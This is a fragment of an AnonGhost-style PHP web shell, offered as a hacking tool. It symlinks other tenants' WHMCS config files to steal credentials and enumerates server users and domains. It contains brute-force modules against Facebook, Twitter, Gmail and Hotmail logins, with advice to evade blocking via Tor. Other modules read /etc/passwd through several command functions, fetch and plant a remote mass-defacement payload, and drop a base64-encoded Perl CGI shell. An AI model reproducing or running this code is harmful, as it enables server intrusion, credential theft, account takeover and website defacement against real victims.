symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
}
#############################
if(is_readable("/var/named")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td>
<center><b>USER</b></center></td>
<td></center><b>SYMLINK</b></center></td>';
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$i += 1;
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
<td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
}
echo "<center>Total Domains Found: ".$i."</center><br />";
}else{
echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
break;
##################################
error_reporting(0);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
if(is_readable("/etc/passwd")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
$list = scandir("/var/named");
foreach($etcz as $etz){
$etcc = explode(":",$etz);
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $etcc[0])
{
$i += 1;
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}}}}
echo "<center>Total Domains Found: ".$i."</center><br />";}
break;
###############################
if(is_readable("/etc/named.conf")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
$named = file_get_contents("/etc/named.conf");
preg_match_all('%zone \"(.*)\" {%',$named,$domains);
foreach($domains[1] as $domain){
$domain = trim($domain);
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";
} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
break;
############################
if(is_readable("/etc/valiases")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td>
<center><b>USER</b></center></td><td></center>
<b>SYMLINK</b></center></td>';
$list = scandir("/etc/valiases");
foreach($list as $domain){
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";
} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
break;
}}
##########################
#Kerupuk X Sinkaroid
##########################################
#######################
########################
# JAAAAAAAAAAAAANCCCCCCCCCCCOOOOOOOOOOOOOK
##################
# recode by Sinkaroid ft Kerupuk
#########################
#gue kasih skat biar ga pusing :v
##################################
//////////////////
########################################################################
########################################################################
#########################################################################
# END
############## MYSQL ########################################
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'fbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=fb" method="post">
<br><br><center><b><font size=4>-=Facebook BruteForce=-</font></b></center><br><br>
<?php
ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014 #
# Coded by : Mauritania Attacker&Noname-Haxor #
# Greetz : All AnonGhost Members #
# WWW.HAURGEULIS-SECURITY.COM #
# --------------------------------------------- #
#################################################
echo "
<head>
<form method='POST'>
</head>";
echo "
<body text='white' bgcolor='black' >
<center></center>
<center>Gunakan ini dengan TOR BROWSER + TOR SWITCHER (ganti IP setiap 2 Menit Supaya Gak DIblok FB cok :v)</center>
<p dir='ltr' align='center'>
<textarea class='inputz' name='username' cols='42' rows='14'>Username Target Lu Cok</textarea>
<textarea class='inputz' name='password' cols='42' rows='14'>Wordlist Password Target Lu Cok</textarea><br>
<br>
<input class='inputzbut' type='submit' name='scan' value='Start BruteForce'><br></p>";
if(isset($_POST['scan'])){
#To Put Proxy SOCKS V5
//curl_setopt($ch, CURLOPT_PROXY, "proxy:port");
//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font> Password : <font color='green'>$pass</font></font></p>";
}
}
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font color='#FFFFFF'><br><font color='#FFFFFF'>Coded by : Mauritania Attacker & Noname-Hax0r</font></b></p></center>";
}
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=tintin" method="post">
<br><br><center><b><font size=4>-=Twitter Multi-Account BruteForce=-</font></b></center><br>
<?php
echo "
<head>
<link rel='icon' type='image/ico' href='http://img1.wikia.nocookie.net/__cb20100818011300/lostpedia/images/f/f1/Twitter-icon.png'/>
<form method='POST'>
<title>Andela Yuwono Pacar Mr.HaurgeulisX196</title>
</head>
";
echo "<p dir='ltr' align='center'>
<textarea class='inputz' cols='42' class='area' rows='14' name='username'>Username</textarea>
<textarea class='inputz' cols='42' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' class='inputz' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
#function
function brute($user,$pass)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
# cURL - Brute Users & Password
$login = curl_exec($ch);
if(eregi("error notice", $login)){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
}
}
# POSTS
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
# Foreach Users N' Textarea
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
brute($users,$pass); }}
# cURL
}
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'gbrute')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=syahrul" method="post">
<br><br><center><b><font size=4>-=Gmail & Hotmail BruteForce=-</font></b></center><br>
<center><center><br>
<?php
set_time_limit(0);
error_reporting(0);
class s1{
private $adres = array(
'gmail' => '{imap.gmail.com:993/imap/ssl}',
'hotmail' => '{pop3.live.com:995/pop3/ssl}'
);
private $imap;
function __construct($gelen1,$gelen2){
$uname = explode("
",$gelen1);
$pwd = explode("
",$gelen2);
foreach($pwd as $pass){
$pass = trim($pass);
foreach($uname as $user){
$user = trim($user);
if(preg_match('@gmail@si',$user)){
$this->baglan($this->adres["gmail"],$user,$pass);
}else{
$this->baglan($this->adres["hotmail"],$user,$pass);
}
}
}
}
public function baglan($url,$user,$pass){
$this->imap = imap_open($url,$user,$pass);
if($this->imap){
echo "<span id='cikti' >$user => $pass </span><br
/>";
}
}
function __destruct(){
imap_close($this->imap);
}
}
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.hondupalmahn.com/imagenes/gmail.png'/>
<form method='POST'>
<title>Gmail Brute Force 2015</title>
</head>";
echo '<br /> <center><div id="form">
<form id="form" method="POST" >
<textarea class="inputz" cols="42" class="area" name="mail" rows="14"
cols="28">Email Target Lu Disini Cok ^_^</textarea>
<textarea class="inputz" cols="42" class="area" name="sifre" rows="14"
cols="28">Password List Lu Disini Cok ^_^</textarea> <br /> <br />
<input class="inputz" type="submit" id="submit" value="Brute !" />
</form><br>
</div>
<div id="sonuc"> ';
if($_POST){
$mails = $_POST["mail"];
$sifre = $_POST["sifre"];
if((isset($mails)) and (isset($sifre))){
$s1 = new s1($mails,$sifre);
}
}
echo '</center></div> ';
}
/////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sabun'))
{
?>
<center>
<br>
<center><div id="menu"><a href="?<?php echo "y=".$pwd; ?>&x=sabun">Sabun Massal</a> <a href="?<?php echo "y=".$pwd; ?>&x=massdeface2">Alternate Mass Deface</a> <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a></center><br>
<br><b>-= Sabun Massal By HsH =- <br></b><br> Becarefully :)
<?php
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/sabun1.php";
error_reporting(0);
if (file_exists('blackhat/sabun1.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/sabun1.php' ;
echo '<center><br><div id="menu"><br><br><a href="blackhat/sabun1.php" target="_blank">Click Here</a></center>';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/sabun1.php', file_get_contents('https://sites.google.com/site/bhshll123/sabunhsh.txt'));
echo '<center><div id="menu"><br><br><a href="blackhat/sabun1.php" target="_blank">Click Here</a></center>';
}
?>
<?php
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'grasy'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="syst">
</form>
</center>
</p>
<p><center>Bypass with Passthru Function
<form method="post">
<font face="Tahoma" color="#007700" size="2pt">
<input class="inputzbut" type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="mauritania">
</form>
</center><br>
</p>
<center>';
//System Function //
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//Passthru Function //
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
//exec Function //
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '</center>
<center>';
//posix_getpwuid Function //
if($_POST['mauritania'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'nemcon'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '
<div ><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="awk">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>
<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input class="inputzbut" type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p><center>';
//Awk Program //
if ($_POST['awk']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//System Function //
if ($_POST['syst']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//Passthru Function //
if ($_POST['passth']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['ex']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
//exec Function //
if ($_POST['shex']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgipl'))
{
mkdir('cgipl', 0755);
chdir('cgipl');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddType application/x-httpd-cgi .root
AddType application/x-httpd-cgi .root
AddHandler cgi-script .root
AddHandler cgi-script .root";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgipl = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVy